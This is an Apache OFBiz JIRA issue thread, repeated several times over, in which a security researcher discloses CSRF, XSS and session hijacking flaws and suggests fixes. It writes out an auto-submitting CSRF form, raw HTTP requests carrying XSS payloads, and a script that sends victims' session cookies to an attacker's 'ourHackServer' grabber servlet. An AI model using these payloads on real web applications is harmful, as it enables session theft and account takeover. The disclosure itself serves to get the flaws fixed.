> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572 ]

Michele Orru commented on OFBIZ-1959:
-------------------------------------

Hi David, Hi Jaques.

I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz.

I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find.
Ecommerce seemd "virtually invuylnerable" to XSS now.

The problem I mentioned is relative to partymgr.

If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to
reflected XSS: basiacally it is escaping HTML but not in the good way.

--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><script>alert(6)</script> HTTP/1.1

Host: localhost:8443

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: https://localhost:8443/partymgr/control/findparty

Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin



--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with <script>..</script> causes this, as you can see from the following excerpt.

[...]
<!-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->

<div class="button-bar tab-bar no-clear">

<ul>

<li>

 <ul>

  <li class="selected "><a href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>

  <li><a href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>

  <li><a href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>

  <li><a href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link Party</a></li>

  <li><a href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>

  <li><a href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>

  <li><a href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax Infos</a></li>

  <li><a href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>

  <li><a href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping Lists</a></li>

  <li><a href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>

  <li><a href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>

  <li><a href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact Lists</a></li>

  <li><a href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party Content</a></li>

  <li><a href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party Skills</a></li>

  <li><a href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>

  <li><a href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>

  <li><a href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment Applications</a></li>

  <li><a href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin. History</a></li>

  <li><a href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>

 </ul>

 <br class="clear"/>

</li>

</ul>

</div>

<!-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]

I'm gonna debug a little bit to understand why...
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( )

Have a good developing time guys

P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of course.
just try to swend the following request, after authentication, changing the UserAgent (so your browser):

try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1

POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509

salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED


It will work because there aren't any random token appended to the POST request.
But you already know that I think, as Session Management protections.

Michele Orrù

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

    [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572 ]

euronymous edited comment on OFBIZ-1959 at 2/18/09 3:14 AM:
--------------------------------------------------------------

Hi David, Hi Jaques.

I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz.

I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find.
Ecommerce seem to be "virtually invulnerable" to XSS now.

The problem I mentioned is relative to partymgr.

If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to
reflected XSS: basiacally it is escaping HTML but not in the good way.

--- REQUEST ---

GET /partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT> HTTP/1.1

Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/findparty
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin



--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with <script>..</script> causes this, as you can see from the following excerpt.

[...]
<!-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
<div class="button-bar tab-bar no-clear">
<ul>
<li>
 <ul>
  <li class="selected "><a href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>
  <li><a href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>
  <li><a href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>
  <li><a href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link Party</a></li>
  <li><a href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>
  <li><a href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>
  <li><a href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax Infos</a></li>
  <li><a href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>
  <li><a href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping Lists</a></li>
  <li><a href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>
  <li><a href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>
  <li><a href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact Lists</a></li>
  <li><a href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party Content</a></li>
  <li><a href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party Skills</a></li>
  <li><a href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>
  <li><a href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>
  <li><a href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment Applications</a></li>
  <li><a href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin. History</a></li>
  <li><a href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>
 </ul>
 <br class="clear"/>
</li>
</ul>
</div>
<!-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]

I'm gonna debug a little bit to understand why...Anyway I don't think that is a problem of the filter, because I didn't use any evasion techniques (just a few random chars in Lower case instead of Upper case, but I don't think it is the problem), and the attack vector is trivial.

(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( ahah )


Speaking about XSRF, clearly has not been fixed, and is possible even without XSS of course.
just try to swend the following request, after authentication, changing the UserAgent (so your browser):

try to change with this: Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1

POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509

salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED


It will work because there aren't any random token appended to the POST request.
But you already know that, as Session Management protections.


Have a good developing time guys

Michele Orrù


      was (Author: euronymous):
    Hi David, Hi Jaques.

I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz.

I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find.
Ecommerce seemd "virtually invuylnerable" to XSS now.

The problem I mentioned is relative to partymgr.

If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to
reflected XSS: basiacally it is escaping HTML but not in the good way.

--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><script>alert(6)</script> HTTP/1.1

Host: localhost:8443

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: https://localhost:8443/partymgr/control/findparty

Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin



--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with <script>..</script> causes this, as you can see from the following excerpt.

[...]
<!-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->

<div class="button-bar tab-bar no-clear">

<ul>

<li>

 <ul>

  <li class="selected "><a href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>

  <li><a href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>

  <li><a href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>

  <li><a href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link Party</a></li>

  <li><a href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>

  <li><a href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>

  <li><a href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax Infos</a></li>

  <li><a href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>

  <li><a href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping Lists</a></li>

  <li><a href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>

  <li><a href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>

  <li><a href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact Lists</a></li>

  <li><a href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party Content</a></li>

  <li><a href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party Skills</a></li>

  <li><a href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>

  <li><a href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>

  <li><a href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment Applications</a></li>

  <li><a href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin. History</a></li>

  <li><a href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>

 </ul>

 <br class="clear"/>

</li>

</ul>

</div>

<!-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]

I'm gonna debug a little bit to understand why...
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( )

Have a good developing time guys

P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of course.
just try to swend the following request, after authentication, changing the UserAgent (so your browser):

try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1

POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509

salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED


It will work because there aren't any random token appended to the POST request.
But you already know that I think, as Session Management protections.

Michele Orrù

 

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
